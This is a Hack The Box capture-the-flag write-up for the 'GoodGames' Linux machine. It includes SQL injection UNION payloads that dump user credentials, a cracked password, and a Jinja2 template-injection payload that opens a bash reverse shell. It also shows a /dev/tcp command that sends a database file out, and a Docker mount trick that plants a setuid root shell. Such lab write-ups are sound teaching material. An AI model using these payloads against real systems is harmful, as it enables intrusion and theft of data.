GoodGames Writeup

28 October 2022 #CTF #HTB #box #easy #linux

goodgames info


OI MATE, just nmap the box yes?

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap
80/tcp open  http
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap
80/tcp open  http    Apache httpd 2.4.51
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store


Only HTTP is open on this box, leaving us no choice but to look into this website:

index page

Clicking on 'Store' we get this page:

store page

But email subscription does basically nothing.

Same thing with the 'Blog' page:

blog page

The search does nothing.

We can create an account:


Once logged in, we can view our profile:

view profile

User Enumeration

There is a 'forgot-password' page as well:


But it doesn't leak if the email is valid or not:

fogot-password dosen't leak valid emails

We can try to create an other account to check if an email already exists:

try to register admin account

Nice, we know that 'admin@goodgames.htb' is a valid account.


Let's dig a bit more into the login functionality.

Here is a login request in Burp:

login request Burp

We used our creds so the login is successful and we get a session cookie.

If we use a basic SQli payload (quote + comment) we still get the cookie:

basic SQli test

This confirms we have a SQLi vulnerability here.

We know the admin email so we can login as admin:

can't use special characters in email field

But we have to go through Burp to bypass the check on the email field:

bypass login as admin

We can copy the cookie in our browser to access the admin session:

admin session in browser

UNION Injection

We can bypass the login but let's see if we can use a UNION injection. First, let's use the GROUP BY technique to get the number of columns we should have in our UNION SELECT:

GROUP BY to know the number of columns

With GROUP BY 5 we don't get the cookie, which means there are 4 columns in this query.

Only the last column is reflected in the page:

identify column that is reflected on page

We can begin enumerating the DB, starting with the differents databases:

'UNION SELECT null,null,null,GROUP_CONCAT(CONCAT('\n',schema_name)) FROM information_schema.schemata-- -

GROUP_CONCAT will merge all rows into one (useful when the output only shows 1 line or row) and we separate each result by a new line with CONCAT('\n',...)


Now let's see what tables and columns are in this 'main' database:

'UNION SELECT null,null,null,GROUP_CONCAT(CONCAT('\n',table_name,':',column_name)) FROM information_schema.columns WHERE table_schema='main'-- -

table name + column name

The 'user' table sounds interesting. Let's take a look at it:

'UNION SELECT null,null,null,GROUP_CONCAT(CONCAT('\n',email,':',password)) FROM user-- -

user table

Perfect, we get what looks like a md5 hash so let's try to crack it:

$ echo '2b22337f218b2d82dfc3b6f77e7cb8ec' > hash.txt
$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt


On the admin profile page there is a new button at the top that directs us to a new page but first we need to add it to our host file:

$ echo '  goodgames.htb internal-administration.goodgames.htb' | sudo tee -a /etc/hosts

Flask Volt Dashboard

Maybe the admin reused their password for this dashboard:

login into dashboard

And yes they did!


After looking a bit around the website we find a SSTI in the settings:

SSTI proof

Since the website is using python it is most likely using the Jinja2 templating engine.

We can get a reverse shell with this payload:

{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/ 0>&1"').read() }}


Escaping Docker

We are root which is a bit weird but looking a bit closer we are in a docker container:

root@3a453ab39d3d:/backend# ls -Al /
total 80
-rwxr-xr-x   1 root root    0 Nov  5  2021 .dockerenv
drwxr-xr-x   1 root root 4096 Nov  5  2021 backend
drwxr-xr-x   1 root root 4096 Nov  5  2021 bin

.dockerenv confirms this + the typical docker hostname.

We can start by looking in the web app directory:

root@3a453ab39d3d:/backend# cd project
root@3a453ab39d3d:/backend/project# cat .env

There are creds for a postgresql database but if we look at the listening ports we don't see it:

root@3a453ab39d3d:/backend/project# ss -lntp
State       Recv-Q Send-Q   Local Address:Port  Peer Address:Port
LISTEN      0      128      *:8085              *:*     users:(("python3",pid=1,fd=3))
LISTEN      0      128    *:*

There a db.sqlite3 in project/apps. The sqlite3 command isn't available on the docker container so we will transfer it to our box:

On our box setup nc:

$ nc -lvnp 1337 > db.sqlite3

And on the docker container:

root@3a453ab39d3d:/backend/project/apps# cat db.sqlite3 > /dev/tcp/

We can now view this sqlite3 db:

$ sqlite3 db.sqlite3
sqlite> .header on
sqlite> .mode columns
sqlite> .tables
sqlite> select * from Users;
id  name                                                          username  email                password
--  ------------------------------------------------------------  --------  -------------------  ------------------------------------------------------------
1   {{''.__class__.__mro__[1].__subclasses__()[217]('bash -c "ba  admin     admin@goodgames.htb  48ff5020f2678e9f6eb11c323505b480d9c4fd35c4d24461e69f48bf3819
    sh -i >& /dev/tcp/ 0>&1"',shell=True)}}                                      b36a0ad2fd83b39af41c51e8eee13441fb14bb36b6034b75f05ac2d9c1db

Not all that interesting since we already know the admin password.

There is a directory in /home:

root@3a453ab39d3d:/home# ls -l /home
total 4
drwxr-xr-x 3 1000 1000 4096 Oct 28 20:47 augustus

'augustus' isn't however in our /etc/passwd (neither is UID 1000):

root@3a453ab39d3d:/home/augustus# grep augustus /etc/passwd
root@3a453ab39d3d:/home/augustus# grep 1000 /etc/passwd
root@3a453ab39d3d:/home/augustus# ls -lA
total 16
lrwxrwxrwx 1 root root    9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19  2021 .bashrc
-rw-r--r-- 1 1000 1000  807 Oct 19  2021 .profile
-rw-r----- 1 root 1000   33 Oct 28 13:45 user.txt

It looks like the home directory of this user has been mounted on the container.

Since we have a username now we can try to ssh to the host:

root@3a453ab39d3d:/backend# ssh augustus@
augustus@GoodGames:~$ id
uid=1000(augustus) gid=1000(augustus) groups=1000(augustus)

Password is 'superadministrator'.

Abuse Docker Mount

We can take advantage of the fact that there is a directory on the host filesystem mounted on the container + we are root inside this container + we have access to the host (as a low privilege user).

This means we can copy a file as the low privilege user in the shared folder and modify the permissions inside the container as root.

Firstly, copy bash to our home directory (on the host):

augustus@GoodGames:~$ cp $(which bash) .

Then, inside the container, change the owner of the file to root and set the setuid bit:

root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4755 bash

Now we can execute our custom setuid bash on the host to get root:

augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)

We need the -p flag to preserve the privileges when we execute bash.

Key Takeaways